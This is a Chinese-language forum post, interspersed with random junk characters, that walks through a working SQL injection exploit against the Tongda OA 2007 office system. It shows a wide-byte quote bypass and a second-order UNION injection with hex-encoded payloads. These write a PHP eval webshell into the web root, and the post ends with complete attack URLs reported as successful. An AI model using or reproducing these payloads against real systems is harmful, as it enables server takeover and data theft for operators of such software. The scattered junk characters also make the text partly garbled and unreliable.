目前测试通达OA2007版本" _) B0 r$ Y+ s& w1 G7 i8 c7 }& G
: S/ m* Q: p- J' u* b6 ]7 S
1 k( U+ Q' q7 h; m2 W
Office Anywhere 2007 网络智能办公系统+ T: X1 o: ?3 [- _; e. i
! A+ B' Q5 P" T% q) i2 ?/ nhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..6 t5 Y' E; O! x8 X$ J
. X+ e) M0 r* ^! c 1 w+ ^& z' K/ Y8 y
这个时候看了下代码,存在注入的那个变量的语句中第3个字段,在该文件下面被另外个select语句调用了,灵光一闪,大概思路是这样的/ c3 }* Z* c9 P* ~
) L, l3 X' W+ Q- k! P' t例如:SELECT * from USER where USER_ID='{$USERNAME}'
1 _) u" m7 N- ]3 r# o+ G其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了* H, D3 Y0 r8 H& S$ c# ~* L
3 E) w3 b3 p& P/ Y* W* F4 m; t这个时候我们是不是可以组合起来使用哪?7 Y! U6 D0 s0 E, \! S; i
3 p4 |. @! n) q' l6 j" W8 W) G第一条语句开始注入,union select 1,2,3,4,5,6,7,8,9,10...,比如第3个是PROVIDER字段,我们这样: u4 W) Q- [1 O1 ~7 P
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10& z' l8 ^$ Y" q2 v
9 W& c: f0 K# y3 W2 Z; x+ Q
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了. a3 g9 `7 k; w. h) j
) z( y! l; ~1 P! y1 d, n
那么问题来了,单引号可以吗?当然是不可以的,^_^。。。- ^7 i8 ^$ w0 t! k+ L
/ w& l; K) q* c0 z那么我们用字符串格式带入进行hex编码2 m6 b8 e1 ]7 D% z: c
* F% y: i. G3 \' a7 v%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
, n7 M- _+ t7 F
, e8 i% d: Q" z* d测试ok,获取oa的webshell
+ c! Q1 Q# F; ^4 ] 3 C3 r1 \5 I9 H2 M
& n9 G) V/ T/ I
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
( n1 p' l3 P, l% k直接getwebshell |